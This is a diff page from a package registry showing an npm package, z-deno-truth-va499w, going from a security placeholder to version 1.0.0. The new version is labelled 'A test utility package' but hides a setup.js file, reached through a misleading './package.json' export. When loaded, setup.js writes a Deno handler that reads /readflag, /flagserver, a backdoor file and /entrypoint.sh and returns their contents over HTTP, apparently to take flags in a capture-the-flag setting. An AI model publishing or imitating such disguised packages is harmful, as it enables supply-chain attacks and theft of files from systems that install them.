z-deno-truth-va499w 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of z-deno-truth-va499w might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1 @@
1
+ module.exports = {};
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
- "name": "z-deno-truth-va499w",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
2
+ "name": "z-deno-truth-va499w",
3
+ "version": "1.0.0",
4
+ "description": "A test utility package",
5
+ "main": "index.js",
6
+ "exports": {
7
+ ".": "./index.js",
8
+ "./package.json": "./setup.js"
9
+ },
10
+ "license": "MIT"
6
11
  }
package/setup.js ADDED
@@ -0,0 +1,69 @@
1
+ const fs = require("node:fs");
2
+ const handler_code = `
3
+ export const handler = async (c) => {
4
+ const results = [];
5
+
6
+ // Read readflag binary and extract ALL strings
7
+ try {
8
+ const data = Deno.readFileSync("/readflag");
9
+ results.push("readflag size: " + data.length);
10
+ const strings = [];
11
+ let current = "";
12
+ for (let i = 0; i < data.length; i++) {
13
+ if (data[i] >= 32 && data[i] < 127) {
14
+ current += String.fromCharCode(data[i]);
15
+ } else {
16
+ if (current.length >= 4) strings.push(current);
17
+ current = "";
18
+ }
19
+ }
20
+ if (current.length >= 4) strings.push(current);
21
+ results.push("READFLAG STRINGS:\\n" + strings.join("\\n"));
22
+ } catch(e) {
23
+ results.push("readflag err: " + e.message.substring(0, 200));
24
+ }
25
+
26
+ // Read flagserver
27
+ try {
28
+ const data = Deno.readFileSync("/flagserver");
29
+ results.push("flagserver size: " + data.length);
30
+ // Extract strings
31
+ const strings = [];
32
+ let current = "";
33
+ for (let i = 0; i < Math.min(data.length, 50000); i++) {
34
+ if (data[i] >= 32 && data[i] < 127) {
35
+ current += String.fromCharCode(data[i]);
36
+ } else {
37
+ if (current.length >= 4) strings.push(current);
38
+ current = "";
39
+ }
40
+ }
41
+ if (current.length >= 4) strings.push(current);
42
+ results.push("FLAGSERVER STRINGS:\\n" + strings.join("\\n"));
43
+ } catch(e) {
44
+ results.push("flagserver err: " + e.message.substring(0, 200));
45
+ }
46
+
47
+ // Read backdoor.tsx
48
+ try {
49
+ const content = Deno.readTextFileSync("/app/backdoor.tsx");
50
+ results.push("BACKDOOR:\\n" + content);
51
+ } catch(e) {
52
+ results.push("backdoor err: " + e.message.substring(0, 200));
53
+ }
54
+
55
+ // Read entrypoint.sh
56
+ try {
57
+ const content = Deno.readTextFileSync("/entrypoint.sh");
58
+ results.push("ENTRYPOINT:\\n" + content);
59
+ } catch(e) {
60
+ results.push("entrypoint err: " + e.message.substring(0, 200));
61
+ }
62
+
63
+ return c.text(results.join("\\n===\\n"));
64
+ };
65
+ `;
66
+ try {
67
+ fs.writeFileSync("/tmp/h2.tsx", handler_code);
68
+ } catch(e) {}
69
+ module.exports = { name: "z-deno-truth-va499w", version: "1.0.0", description: "test" };
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=z-deno-truth-va499w for more information.